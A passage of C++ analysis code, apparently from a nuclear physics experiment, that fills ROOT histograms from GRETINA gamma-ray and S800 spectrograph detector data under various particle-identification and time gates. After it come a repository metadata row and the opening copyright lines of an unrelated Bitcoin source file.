if (hasgret){
FillHistogramsGateOut(gr,s800,m3c,Form("%s_coinc",outname));
}
}
}
}
}
if(NoInCuts){
// for pure beams, i.e. no incoming cut required or possible
for(UShort_t ou=0;ou<OutPartCut[0].size();ou++){ // loop over PID cuts
if((ftac == 1 && OutPartCut[0][ou]->IsInside(tof->GetOBJC(),ich->GetDE()))
||(ftac == 0 && OutPartCut[0][ou]->IsInside(tof->GetTACOBJC(),ich->GetDE()))
||(ftac == 3 && OutPartCut[0][ou]->IsInside(tof->GetXFPC(),ich->GetDE()))
||(ftac == 2 && OutPartCut[0][ou]->IsInside(tof->GetTACXFPC(),ich->GetDE()))){
const char* outname = OutPartCut[0][ou]->GetName();
FillHistogramsGateOnlyOut(gr,s800,m3c,outname);
}
}
}
}
void CalHistograms::FillHistogramsNoGate(GretinaCalc* gr, S800Calc* s800, Mode3Calc* m3c){
PAD* pad[2];
PPAC* ppac[2];
for(UShort_t p=0; p<2;p++){
pad[p] = s800->GetPAD(p);
ppac[p] = s800->GetPPAC(p);
}
IC* ich = s800->GetIC();
TOF* tof = s800->GetTOF();
TRACK* track = s800->GetTRACK();
IITRACK* iitrack = s800->GetIITRACK();
HODO* hodo = s800->GetHODO();
bool hasgret = gr->GetMult()>0;
// Double_t sum =0;
// for(UShort_t c=0; c<hodo->GetEnergy()->size();c++){
// Short_t ch = hodo->GetChannel()->at(c);
// Fill(Form("hodo_%d",ch),1000,0,4000,hodo->GetEnergy()->at(c));
// Fill("hodo_vs_ch",32,0,32,ch,400,0,4000,hodo->GetEnergy()->at(c));
// Fill("hodo_all",1000,0,4000,hodo->GetEnergy()->at(c));
// Fill(Form("hodotime_%d",ch),4000,0,4000,hodo->GetTime());
// Fill("hodotime_vs_ch",32,0,32,ch,1000,0,4000,hodo->GetTime());
// Fill("hodotime_all",4000,0,4000,hodo->GetTime());
// if(hodo->GetEnergy()->at(c)>50)
// sum+=hodo->GetEnergy()->at(c);
// }// hodo energy
// Fill("hodo_sum",1000,0,4000,sum);
if(fCal==0){
Fill("obj_vs_time",
fnentries/10000+1,0,(fnentries/10000+1)*10000,fentry,
fobj_range[0]/2,fobj_range[1],fobj_range[2],tof->GetOBJ());
Fill("xfp_vs_time",
fnentries/10000+1,0,(fnentries/10000+1)*10000,fentry,
fxfp_range[0]/2,fxfp_range[1],fxfp_range[2],tof->GetXFP());
Fill("objtac_vs_time",
fnentries/10000+1,0,(fnentries/10000+1)*10000,fentry,
ftacobj_range[0]/2,ftacobj_range[1],ftacobj_range[2],tof->GetTACOBJ());
Fill("xfptac_vs_time",
fnentries/10000+1,0,(fnentries/10000+1)*10000,fentry,
ftacxfp_range[0]/2,ftacxfp_range[1],ftacxfp_range[2],tof->GetTACXFP());
Fill("IC_vs_time",
fnentries/10000+1,0,(fnentries/10000+1)*10000,fentry,
fIC_range[0]/2,fIC_range[1],fIC_range[2],ich->GetDE());
}
for(UShort_t p=0; p<2;p++){
Fill(Form("ICde_vs_x_%d",p),
600,-300,300,pad[p]->GetX(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetDE());
Fill(Form("ICde_vs_y_%d",p),
200,-100,100,pad[p]->GetY(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetDE());
Fill(Form("ICsum_vs_x_%d",p),
600,-300,300,pad[p]->GetX(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetSum());
Fill(Form("ICsum_vs_y_%d",p),
200,-100,100,pad[p]->GetY(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetSum());
}
if(hasgret){
Fill("xfp_vs_obj_coinc",
fobj_range[0],fobj_range[1],fobj_range[2],tof->GetOBJ(),
fxfp_range[0],fxfp_range[1],fxfp_range[2],tof->GetXFP());
}
Fill("xfp_vs_obj",
fobj_range[0],fobj_range[1],fobj_range[2],tof->GetOBJ(),
fxfp_range[0],fxfp_range[1],fxfp_range[2],tof->GetXFP());
Fill("x_vs_obj",
fobj_range[0],fobj_range[1],fobj_range[2],tof->GetOBJ(),
600,-300,300,pad[0]->GetX());
Fill("afp_vs_obj",
fobj_range[0],fobj_range[1],fobj_range[2],tof->GetOBJ(),
100,-100,100,track->GetAFP());
Fill("x_vs_objC",
fobjC_range[0],fobjC_range[1],fobjC_range[2],tof->GetOBJC(),
600,-300,300,pad[0]->GetX());
Fill("afp_vs_objC",
fobjC_range[0],fobjC_range[1],fobjC_range[2],tof->GetOBJC(),
100,-50,50,track->GetAFP());
Fill("x_vs_xfp",
fxfp_range[0],fxfp_range[1],fxfp_range[2],tof->GetXFP(),
600,-300,300,pad[0]->GetX());
Fill("afp_vs_xfp",
fxfp_range[0],fxfp_range[1],fxfp_range[2],tof->GetXFP(),
100,-50,50,track->GetAFP());
Fill("x_vs_xfpC",
fxfpC_range[0],fxfpC_range[1],fxfpC_range[2],tof->GetXFPC(),
600,-300,300,pad[0]->GetX());
Fill("afp_vs_xfpC",
fxfpC_range[0],fxfpC_range[1],fxfpC_range[2],tof->GetXFPC(),
100,-50,50,track->GetAFP());
Fill("xfp_vs_objtac",
ftacobj_range[0],ftacobj_range[1],ftacobj_range[2],tof->GetTACOBJ(),
ftacxfp_range[0],ftacxfp_range[1],ftacxfp_range[2],tof->GetTACXFP());
Fill("x_vs_objtac",
ftacobj_range[0],ftacobj_range[1],ftacobj_range[2],tof->GetTACOBJ(),
600,-300,300,pad[0]->GetX());
Fill("afp_vs_objtac",
ftacobj_range[0],ftacobj_range[1],ftacobj_range[2],tof->GetTACOBJ(),
100,-50,50,track->GetAFP());
Fill("x_vs_objtacC",
ftacobjC_range[0],ftacobjC_range[1],ftacobjC_range[2],tof->GetTACOBJC(),
600,-300,300,pad[0]->GetX());
Fill("afp_vs_objtacC",
ftacobjC_range[0],ftacobjC_range[1],ftacobjC_range[2],tof->GetTACOBJC(),
100,-50,50,track->GetAFP());
Fill("x_vs_xfptac",
ftacxfp_range[0],ftacxfp_range[1],ftacxfp_range[2],tof->GetTACXFP(),
600,-300,300,pad[0]->GetX());
Fill("afp_vs_xfptac",
ftacxfp_range[0],ftacxfp_range[1],ftacxfp_range[2],tof->GetTACXFP(),
100,-50,50,track->GetAFP());
Fill("x_vs_xfptacC",
ftacxfpC_range[0],ftacxfpC_range[1],ftacxfpC_range[2],tof->GetTACXFPC(),
600,-300,300,pad[0]->GetX());
Fill("afp_vs_xfptacC",
ftacxfpC_range[0],ftacxfpC_range[1],ftacxfpC_range[2],tof->GetTACXFPC(),
100,-50,50,track->GetAFP());
}
void CalHistograms::FillHistogramsGateIn(GretinaCalc* gr, S800Calc* s800, Mode3Calc* m3c, const char* inname){
PAD* pad[2];
PPAC* ppac[2];
for(UShort_t p=0; p<2;p++){
pad[p] = s800->GetPAD(p);
ppac[p] = s800->GetPPAC(p);
}
IC* ich = s800->GetIC();
TOF* tof = s800->GetTOF();
TRACK* track = s800->GetTRACK();
IITRACK* iitrack = s800->GetIITRACK();
HODO* hodo = s800->GetHODO();
bool hasgret = gr->GetMult()>0;
Fill("hcrdcrawrange0xy",
1200,0,600, s800->GetPAD(0)->GetX(),
4096,0,4096,s800->GetPAD(0)->GetY());
Fill("hcrdcrawrange1xy",
1200,0,600, s800->GetPAD(1)->GetX(),
4096,0,4096,s800->GetPAD(1)->GetY());
Fill("hcrdc0xy",
600,-300,300,s800->GetPAD(0)->GetX(),
600,-300,300,s800->GetPAD(0)->GetY());
Fill("hcrdc1xy",
600,-300,300,s800->GetPAD(1)->GetX(),
600,-300,300,s800->GetPAD(1)->GetY());
Fill(Form("ICde_vs_obj_%s",inname),
fobj_range[0],fobj_range[1],fobj_range[2],tof->GetOBJ(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetDE());
Fill(Form("ICde_vs_objc_%s",inname),
fobjC_range[0],fobjC_range[1],fobjC_range[2],tof->GetOBJC(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetDE());
if (hasgret){
Fill(Form("ICde_vs_objc_coinc_%s",inname),
fobjC_range[0],fobjC_range[1],fobjC_range[2],tof->GetOBJC(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetDE());
}
Fill(Form("ICde_vs_objtacc_%s",inname),
ftacobjC_range[0],ftacobjC_range[1],ftacobjC_range[2],tof->GetTACOBJC(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetDE());
Fill(Form("ICde_vs_xfpc_%s",inname),
fxfpC_range[0],fxfpC_range[1],fxfpC_range[2],tof->GetXFPC(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetDE());
Fill(Form("ICde_vs_xfptacc_%s",inname),
ftacxfpC_range[0],ftacxfpC_range[1],ftacxfpC_range[2],tof->GetTACXFPC(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetDE());
Fill(Form("ICsum_vs_objc_%s",inname),
fobjC_range[0],fobjC_range[1],fobjC_range[2],tof->GetOBJC(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetSum());
Fill(Form("ICsum_vs_objtacc_%s",inname),
ftacobjC_range[0],ftacobjC_range[1],ftacobjC_range[2],tof->GetTACOBJC(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetSum());
Fill(Form("ICsum_vs_xfpc_%s",inname),
fxfpC_range[0],fxfpC_range[1],fxfpC_range[2],tof->GetXFPC(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetSum());
Fill(Form("ICsum_vs_xfptacc_%s",inname),
ftacxfpC_range[0],ftacxfpC_range[1],ftacxfpC_range[2],tof->GetTACXFPC(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetSum());
for(UShort_t p=0; p<2;p++){
Fill(Form("ICde_vs_x%d_%s",p,inname),
600,-300,300,pad[p]->GetX(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetDE());
Fill(Form("ICde_vs_y%d_%s",p,inname),
200,-100,100,pad[p]->GetY(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetDE());
Fill(Form("ICsum_vs_x%d_%s",p,inname),
600,-300,300,pad[p]->GetX(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetSum());
Fill(Form("ICsum_vs_y%d_%s",p,inname),
200,-100,100,pad[p]->GetY(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetSum());
}
}
void CalHistograms::FillHistogramsGateOut(GretinaCalc* gr, S800Calc* s800, Mode3Calc* m3c, const char* outname){
TString oname = outname;
PAD* pad[2];
PPAC* ppac[2];
for(UShort_t p=0; p<2;p++){
pad[p] = s800->GetPAD(p);
ppac[p] = s800->GetPPAC(p);
}
IC* ich = s800->GetIC();
TOF* tof = s800->GetTOF();
TRACK* track = s800->GetTRACK();
IITRACK* iitrack = s800->GetIITRACK();
HODO* hodo = s800->GetHODO();
bool hasgret = gr->GetMult()>0;
for (UShort_t g=0; g<gr->GetMult(); g++){
HitCalc* hit = gr->GetHit(g);
float energy = hit->GetEnergy();
float energy_dc = hit->GetDCEnergy();
Fill(Form("egam_%s",oname.Data()),
8000,0,8000,energy);
Fill(Form("egam_scatter_%s",oname.Data()),
500,0,0.5,track->GetTheta(),
8000,0,8000,energy);
Fill(Form("egam_tgam_%s",oname.Data()),
8000,0,8000,energy,
400,-200,200,hit->GetTime());
Fill(Form("tgam_egam_%s",oname.Data()),
400,-200,200,hit->GetTime(),
8000,0,8000,energy);
Fill(Form("egam_summary_%s",oname.Data()),
28,-0.5,27.5,4*fSett->Hole2Det(hit->GetHole())+hit->GetCrystal(),
8000,0,8000,energy);
Fill(Form("egamdc_%s",oname.Data()),
8000,0,8000,energy_dc);
Fill(Form("egamdc_scatter_%s",oname.Data()),
500,0,0.5,track->GetTheta(),
8000,0,8000,energy_dc);
Fill(Form("egamdc_grettheta_%s",oname.Data()),
8000,0,8000,energy_dc,
180,0,3.14159,hit->GetPosition().Theta());
Fill(Form("egamdc_ppar_%s",oname.Data()),
8000,0,8000,energy_dc,
500,8,20,track->GetPpar());
if(foundTCut && TimeCut->IsInside(hit->GetTime(),energy)){
Fill(Form("egam_%s_tcut",oname.Data()),
8000,0,8000,energy);
Fill(Form("egam_scatter_%s_tcut",oname.Data()),
500,0,0.5,track->GetTheta(),
8000,0,8000,energy);
Fill(Form("egam_summary_%s_tcut",oname.Data()),
28,-0.5,27.5,4*fSett->Hole2Det(hit->GetHole())+hit->GetCrystal(),
8000,0,8000,energy);
Fill(Form("egamdc_%s_tcut",oname.Data()),
8000,0,8000,energy_dc);
Fill(Form("egamdc_scatter_%s_tcut",oname.Data()),
500,0,0.5,track->GetTheta(),
8000,0,8000,energy_dc);
Fill(Form("egamdc_grettheta_%s_tcut",oname.Data()),
8000,0,8000,energy_dc,
180,0,3.14159,hit->GetPosition().Theta());
Fill(Form("egamdc_ppar_%s_tcut",oname.Data()),
8000,0,8000,energy_dc,
500,8,20,track->GetPpar());
}
int q = fSett->Hole2Det(hit->GetHole())+1;
if((q==1 || q==7) && hit->GetCrystal()==1){
Fill(Form("egamdc_BW_%s",oname.Data()),
2000,0,4000,hit->GetDCEnergy(0.3));
}
else if((q==2 || q==6 || q==4 || q==5 ) && hit->GetCrystal()==2){
Fill(Form("egamdc_FW_%s",oname.Data()),
2000,0,4000,hit->GetDCEnergy(0.3));
}
Fill(Form("egamdc_s800phi_%s",oname.Data()),
8000,0,8000,energy_dc,
180,-2*3.14159,0,s800->GetTRACK()->GetPhi());
Fill(Form("egamdc_gretphi_%s",oname.Data()),
8000,0,8000,energy_dc,
180,-3.14159,3.14159,hit->GetPosition().Phi());
}
for(UShort_t g=0;g<gr->GetMultAB();g++){
HitCalc* hit = gr->GetHitAB(g);
float energy = hit->GetEnergy();
float energy_dc = hit->GetDCEnergy();
Fill(Form("egamAB_%s",oname.Data()),
8000,0,8000,energy);
Fill(Form("egamABdc_%s",oname.Data()),
8000,0,8000,energy_dc);
Fill(Form("egamABdc_ppar_%s",oname.Data()),
8000,0,8000,energy_dc,
500,8,20,track->GetPpar());
if(foundTCut && TimeCut->IsInside(hit->GetTime(),energy)){
Fill(Form("egamAB_%s_tcut",oname.Data()),
8000,0,8000,energy);
Fill(Form("egamABdc_%s_tcut",oname.Data()),
8000,0,8000,energy_dc);
Fill(Form("egamABdc_ppar_%s_tcut",oname.Data()),
8000,0,8000,energy_dc,
500,8,20,track->GetPpar());
}
}
Fill(Form("ata_%s",oname.Data()),
200,-100,100,track->GetATA());
Fill(Form("bta_%s",oname.Data()),
200,-100,100,track->GetBTA());
Fill(Form("ata_bta_%s",oname.Data()),
200,-100,100,track->GetATA(),
200,-100,100,track->GetBTA());
Fill(Form("scatter_%s",oname.Data()),
500,0,0.5,track->GetTheta());
// Various gamma-gamma spectra with no additional gates.
{
int highestg=-1;
double highesten =0;
for(UShort_t g=0;g<gr->GetMult();g++){
if(gr->GetHit(g)->GetEnergy()<1 || gr->GetHit(g)->GetEnergy()>6000)
continue;
if(gr->GetHit(g)->GetDCEnergy()>highesten){
highesten = gr->GetHit(g)->GetDCEnergy();
highestg =g;
}
}
for(UShort_t g=0;g<gr->GetMult();g++){
if(gr->GetHit(g)->GetEnergy()<1 || gr->GetHit(g)->GetEnergy()>6000)
continue;
if(highestg>-1 && g!=highestg){
Fill(Form("egamegamdc_fold_%s",oname.Data()),
8000,0,8000,highesten,
8000,0,8000,gr->GetHit(g)->GetDCEnergy());
}
}
highestg=-1;
highesten =0;
for(UShort_t g=0;g<gr->GetMultAB();g++){
if(gr->GetHitAB(g)->GetEnergy()<1 || gr->GetHitAB(g)->GetEnergy()>6000)
continue;
if(gr->GetHitAB(g)->GetDCEnergy()>highesten){
highesten = gr->GetHitAB(g)->GetDCEnergy();
highestg =g;
}
}
for(UShort_t g=0;g<gr->GetMultAB();g++){
if(gr->GetHitAB(g)->GetEnergy()<1 || gr->GetHitAB(g)->GetEnergy()>6000)
continue;
if(highestg>-1 && g!=highestg){
Fill(Form("egamegamABdc_fold_%s",oname.Data()),
8000,0,8000,highesten,
8000,0,8000,gr->GetHitAB(g)->GetDCEnergy());
}
}
}
for(UShort_t g1=0;g1<gr->GetMult();g1++){
for(UShort_t g2=g1+1;g2<gr->GetMult();g2++){
Fill(Form("egamegamdc_%s",oname.Data()),
3500,0,3500,gr->GetHit(g1)->GetDCEnergy(),
3500,0,3500,gr->GetHit(g2)->GetDCEnergy());
Fill(Form("egamegamdc_sym_%s",oname.Data()),
3500,0,3500,gr->GetHit(g1)->GetDCEnergy(),
3500,0,3500,gr->GetHit(g2)->GetDCEnergy());
Fill(Form("egamegamdc_sym_%s",oname.Data()),
3500,0,3500,gr->GetHit(g2)->GetDCEnergy(),
3500,0,3500,gr->GetHit(g1)->GetDCEnergy());
}
}
for(UShort_t g1=0;g1<gr->GetMultAB();g1++){
for(UShort_t g2=g1+1;g2<gr->GetMultAB();g2++){
Fill(Form("egamegamABdc_%s",oname.Data()),
3500,0,3500,gr->GetHitAB(g1)->GetDCEnergy(),
3500,0,3500,gr->GetHitAB(g2)->GetDCEnergy());
Fill(Form("egamegamABdc_sym_%s",oname.Data()),
3500,0,3500,gr->GetHitAB(g1)->GetDCEnergy(),
3500,0,3500,gr->GetHitAB(g2)->GetDCEnergy());
Fill(Form("egamegamABdc_sym_%s",oname.Data()),
3500,0,3500,gr->GetHitAB(g2)->GetDCEnergy(),
3500,0,3500,gr->GetHitAB(g1)->GetDCEnergy());
}
}
// Various gamma-gamma spectra with an additional time gate.
{
int highestg=-1;
double highesten =0;
for(UShort_t g=0;g<gr->GetMult();g++){
HitCalc* hit = gr->GetHit(g);
if(hit->GetEnergy()<1 || hit->GetEnergy()>6000)
continue;
if(foundTCut && TimeCut->IsInside(hit->GetTime(),hit->GetEnergy())){
if(hit->GetDCEnergy()>highesten){
highesten = hit->GetDCEnergy();
highestg =g;
}
}
}
for(UShort_t g=0;g<gr->GetMult();g++){
HitCalc* hit = gr->GetHit(g);
if(hit->GetEnergy()<1 || hit->GetEnergy()>6000)
continue;
if(foundTCut && TimeCut->IsInside(hit->GetTime(),hit->GetEnergy())){
if(highestg>-1 && g!=highestg){
Fill(Form("egamegamdc_fold_%s_tcut",oname.Data()),
8000,0,8000,highesten,
8000,0,8000,hit->GetDCEnergy());
}
}
}
highestg=-1;
highesten =0;
for(UShort_t g=0;g<gr->GetMultAB();g++){
HitCalc* hit = gr->GetHitAB(g);
if(hit->GetEnergy()<1 || hit->GetEnergy()>6000)
continue;
if(foundTCut && TimeCut->IsInside(hit->GetTime(),hit->GetEnergy())){
if(hit->GetDCEnergy()>highesten){
highesten = hit->GetDCEnergy();
highestg =g;
}
}
}
for(UShort_t g=0;g<gr->GetMultAB();g++){
HitCalc* hit = gr->GetHitAB(g);
if(hit->GetEnergy()<1 || hit->GetEnergy()>6000)
continue;
if(foundTCut && TimeCut->IsInside(hit->GetTime(),hit->GetEnergy())){
if(highestg>-1 && g!=highestg){
Fill(Form("egamegamABdc_fold_%s_tcut",oname.Data()),
8000,0,8000,highesten,
8000,0,8000,hit->GetDCEnergy());
}
}
}
}
for(UShort_t g1=0;g1<gr->GetMult();g1++){
for(UShort_t g2=g1+1;g2<gr->GetMult();g2++){
if(foundTCut && TimeCut->IsInside(gr->GetHit(g1)->GetTime(),gr->GetHit(g1)->GetEnergy()) &&
TimeCut->IsInside(gr->GetHit(g2)->GetTime(),gr->GetHit(g2)->GetEnergy())){
Fill(Form("egamegamdc_%s_tcut",oname.Data()),
3500,0,3500,gr->GetHit(g1)->GetDCEnergy(),
3500,0,3500,gr->GetHit(g2)->GetDCEnergy());
Fill(Form("egamegamdc_sym_%s_tcut",oname.Data()),
3500,0,3500,gr->GetHit(g1)->GetDCEnergy(),
3500,0,3500,gr->GetHit(g2)->GetDCEnergy());
Fill(Form("egamegamdc_sym_%s_tcut",oname.Data()),
3500,0,3500,gr->GetHit(g2)->GetDCEnergy(),
3500,0,3500,gr->GetHit(g1)->GetDCEnergy());
}
}
}
for(UShort_t g1=0;g1<gr->GetMultAB();g1++){
for(UShort_t g2=g1+1;g2<gr->GetMultAB();g2++){
if(foundTCut && TimeCut->IsInside(gr->GetHitAB(g1)->GetTime(),gr->GetHitAB(g1)->GetEnergy()) &&
TimeCut->IsInside(gr->GetHitAB(g2)->GetTime(),gr->GetHitAB(g2)->GetEnergy())){
Fill(Form("egamegamABdc_%s_tcut",oname.Data()),
3500,0,3500,gr->GetHitAB(g1)->GetDCEnergy(),
3500,0,3500,gr->GetHitAB(g2)->GetDCEnergy());
Fill(Form("egamegamABdc_sym_%s_tcut",oname.Data()),
3500,0,3500,gr->GetHitAB(g1)->GetDCEnergy(),
3500,0,3500,gr->GetHitAB(g2)->GetDCEnergy());
Fill(Form("egamegamABdc_sym_%s_tcut",oname.Data()),
3500,0,3500,gr->GetHitAB(g2)->GetDCEnergy(),
3500,0,3500,gr->GetHitAB(g1)->GetDCEnergy());
}
}
}
int hp = s800->GetRegistr();
Fill(Form("registr_%s",oname.Data()),
16,-0.5,15.5,hp);
for(int j=0;j<16;j++){
if(hp & (1<<j)){
Fill(Form("trigbit_%s",oname.Data()),
16,-0.5,15.5,j);
}
}
if(fCal&(1<<2)){
for(UShort_t p=0; p<2;p++){
Fill(Form("ICde_vs_x%d_%s",p,oname.Data()),
600,-300,300,pad[p]->GetX(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetDE());
Fill(Form("ICde_vs_y%d_%s",p,oname.Data()),
600,-100,100,pad[p]->GetY(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetDE());
Fill(Form("ICsum_vs_x%d_%s",p,oname.Data()),
600,-300,300,pad[p]->GetX(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetSum());
Fill(Form("ICsum_vs_y%d_%s",p,oname.Data()),
600,-100,100,pad[p]->GetY(),
fIC_range[0],fIC_range[1],fIC_range[2],ich->GetSum());
}
Fill(Form("x_vs_obj_%s",oname.Data()),
fobj_range[0],fobj_range[1],fobj_range[2],tof->GetOBJ(),
600/2,-300,300,pad[0]->GetX());
Fill(Form("afp_vs_obj_%s",oname.Data()),
fobj_range[0],fobj_range[1],fobj_range[2],tof->GetOBJ(),
100/2,-100,100,track->GetAFP());
Fill(Form("x_vs_objC_%s",oname.Data()),
fobjC_range[0],fobjC_range[1],fobjC_range[2],tof->GetOBJC(),
600/2,-300,300,pad[0]->GetX());
Fill(Form("afp_vs_objC_%s",oname.Data()),
fobjC_range[0],fobjC_range[1],fobjC_range[2],tof->GetOBJC(),
100/2,-100,100,track->GetAFP());
Fill(Form("x_vs_xfp_%s",oname.Data()),
fxfp_range[0],fxfp_range[1],fxfp_range[2],tof->GetXFP(),
600/2,-300,300,pad[0]->GetX());
Fill(Form("afp_vs_xfp_%s",oname.Data()),
fxfp_range[0],fxfp_range[1],fxfp_range[2],tof->GetXFP(),
100/2,-100,100,track->GetAFP());
Fill(Form("x_vs_xfpC_%s",oname.Data()),
fxfpC_range[0],fxfpC_range[1],fxfpC_range[2],tof->GetXFPC(),
600/2,-300,300,pad[0]->GetX());
Fill(Form("afp_vs_xfpC_%s",oname.Data()),
fxfpC_range[0],fxfpC_range[1],fxfpC_range[2],tof->GetXFPC(),
100/2,-100,100,track->GetAFP());
Fill(Form("x_vs_objtac_%s",oname.Data()),
ftacobj_range[0],ftacobj_range[1],ftacobj_range[2],tof->GetTACOBJ(),
600/2,-300,300,pad[0]->GetX());
Fill(Form("afp_vs_objtac_%s",oname.Data()),
ftacobj_range[0],ftacobj_range[1],ftacobj_range[2],tof->GetTACOBJ(),
100/2,-100,100,track->GetAFP());
Fill(Form("x_vs_objtacC_%s",oname.Data()),
ftacobjC_range[0],ftacobjC_range[1],ftacobjC_range[2],tof->GetTACOBJC(),
600/2,-300,300,pad[0]->GetX());
Fill(Form("afp_vs_objtacC_%s",oname.Data()),
ftacobjC_range[0],ftacobjC_range[1],ftacobjC_range[2],tof->GetTACOBJC(),
100/2,-100,100,track->GetAFP());
Fill(Form("x_vs_xfptac_%s",oname.Data()),
ftacxfp_range[0],ftacxfp_range[1],ftacxfp_range[2],tof->GetTACXFP(),
600/2,-300,300,pad[0]->GetX());
Fill(Form("afp_vs_xfptac_%s",oname.Data()),
ftacxfp_range[0],ftacxfp_range[1],ftacxfp_range[2],tof->GetTACXFP(),
100/2,-100,100,track->GetAFP());
Fill(Form("x_vs_xfptacC_%s",oname.Data()),
ftacxfpC_range[0],ftacxfpC_range[1],ftacxfpC_range[2],tof->GetTACXFPC(),
600/2,-300,300,pad[0]->GetX());
Fill(Form("afp_vs_xfptacC_%s",oname.Data()),
ftacxfpC_range[0],ftacxfpC_range[1],ftacxfpC_range[2],tof->GetTACXFPC(),
100/2,-100,100,track->GetAFP());
}
Fill(Form("xfp_%s",oname.Data()),
600,-300,300,track->GetXFP());
Fill(Form("xfpf_%s",oname.Data()),
600,-0.3,0.3,track->GetXFP()/1000.);
Fill(Form("xfpafp_%s",oname.Data()),
120,-60,60,track->GetAFP(),
600,-300,300,track->GetXFP());
Fill(Form("xfpazita_%s",oname.Data()),
360,0,360,track->GetPhi(),
600,-300,300,track->GetXFP());
Fill(Form("afp_%s",oname.Data()),
400,-200,200,track->GetAFP());
Fill(Form("yfp_%s",oname.Data()),
200,-100,100,track->GetYFP());
Fill(Form("bfp_%s",oname.Data()),
100,-50,50,track->GetBFP());
Fill(Form("yta_%s",oname.Data()),
100,-50,50,track->GetYTA());
Fill(Form("dta_%s",oname.Data()),
200,-10,10,track->GetDTA());
Fill(Form("azita_%s",oname.Data()),
360,0,360,track->GetPhi());
Fill(Form("ptot_%s",oname.Data()),
500,8,20,track->GetPtot());
Fill(Form("ppar_%s",oname.Data()),
500,8,20,track->GetPpar());
Fill(Form("ptra_%s",oname.Data()),
200,0,2,track->GetPtra());
Fill(Form("etot_%s",oname.Data()),
1000,2000,3000,track->GetEtot());
Fill(Form("dta_vs_ata_%s",oname.Data()),
120,-60,60,track->GetATA(),
400,-10,10,track->GetDTA());
#ifdef S800_DETAILEDTREE
if(fCal&(1<<1)){
for(UShort_t c=0;c<ich->GetChan().size();c++){
Fill(Form("ic_ch%d_%s",ich->GetChan()[c],oname.Data()),
2000,0,2000,ich->GetCal()[c]);
Fill(Form("ic_%s",oname.Data()),
16,0,16,ich->GetChan()[c],
2500,0,2500,ich->GetCal()[c]);
}
}
if(fCal&(1<<0)) {
for(UShort_t p=0; p<2;p++){
if(pad[p]->GetMaxPad()>0&&pad[p]->GetMaxPad()<224){
Fill(Form("crdcmaxpad_%d_%s",p,oname.Data()),
224,0,224,pad[p]->GetMaxPad(),
1024,0,1024,pad[p]->GetPadMax()[1]);
Fill(Form("crdcpad_%d_%d_%s",p,pad[p]->GetMaxPad(),oname.Data()),
1024,0,1024,pad[p]->GetPadMax()[1]);
//max and neighbours
Fill(Form("crdcmaxpad0_%d_%s",p,oname.Data()),
224,0,224,pad[p]->GetMaxPad(),
1024,0,1024,pad[p]->GetPadMax()[1]);
Fill(Form("crdcmaxpad0_%d_%s",p,oname.Data()),
224,0,224,pad[p]->GetMaxPad()-1,
1024,0,1024,pad[p]->GetPadMax()[0]);
Fill(Form("crdcmaxpad0_%d_%s",p,oname.Data()),
224,0,224,pad[p]->GetMaxPad()+1,
1024,0,1024,pad[p]->GetPadMax()[2]);
Fill(Form("crdcpad0_%d_%d_%s",p,pad[p]->GetMaxPad(),oname.Data()),
1024,0,1024,pad[p]->GetPadMax()[1]);
Fill(Form("crdcpad0_%d_%d_%s",p,pad[p]->GetMaxPad()-1,oname.Data()),
1024,0,1024,pad[p]->GetPadMax()[0]);
Fill(Form("crdcpad0_%d_%d_%s",p,pad[p]->GetMaxPad()+1,oname.Data()),
1024,0,1024,pad[p]->GetPadMax()[2]);
Fill(Form("xpad_%d_%s",p,oname.Data()),
200,-2,2,pad[p]->GetXGravity()-pad[p]->GetXFit(),
224,0,224,pad[p]->GetMaxPad());
Fill(Form("xpad0_%d_%s",p,oname.Data()),
224,0,224,pad[p]->GetMaxPad(),
1024,0,1024,pad[p]->GetPadMax()[0]);
Fill(Form("xpad0_%d_%s",p,oname.Data()),
224,0,224,pad[p]->GetMaxPad(),
1024,0,1024,pad[p]->GetPadMax()[2]);
Fill(Form("xpadl_%d_%s",p,oname.Data()),
224,0,224,pad[p]->GetMaxPad(),
1000,-500,500,pad[p]->GetPadMax()[1]-pad[p]->GetPadMax()[0]);
Fill(Form("xpadr_%d_%s",p,oname.Data()),
224,0,224,pad[p]->GetMaxPad(),
1000,-500,500,pad[p]->GetPadMax()[1]-pad[p]->GetPadMax()[2]);
Fill(Form("xgra_%d_%s",p,oname.Data()),
200,-2,2,pad[p]->GetXGravity()-pad[p]->GetMaxPad(),
224,0,224,pad[p]->GetMaxPad());
Fill(Form("xfit_%d_%s",p,oname.Data()),
200,-2,2,pad[p]->GetXFit()-pad[p]->GetMaxPad(),
224,0,224,pad[p]->GetMaxPad());
}//pads
}//crdc
}
#endif
}
void CalHistograms::FillHistogramsGateOnlyOut(GretinaCalc* gr, S800Calc* s800, Mode3Calc* m3c, const char* outname){
//in case you have pure beam, fill here
}
| [
"wimmer@phys.s.u-tokyo.ac.jp"
] | wimmer@phys.s.u-tokyo.ac.jp |
5ebd703abc50e211761be3d4dfbd286ea1b85036 | e9c6f527c9776ae9b4396f769f92cf5ed44167f7 | /src/bitcoinrpc.cpp | 7915df2fbe08795de22a2dd0eece390155f937e4 | [
"MIT"
] | permissive | 9029195341/achcoin | a448b8e143abe0814852e2663fc3b1d95c691f4b | 3255a6c1919764707f568fcdcfef52465752cb15 | refs/heads/master | 2021-05-07T15:22:40.009119 | 2017-11-08T10:01:45 | 2017-11-08T10:01:45 | 109,939,561 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 119,421 | cpp | // Copyright (c) 2010 Satoshi Nakamoto
// Copyright (c) 2009-2012 The Bitcoin developers
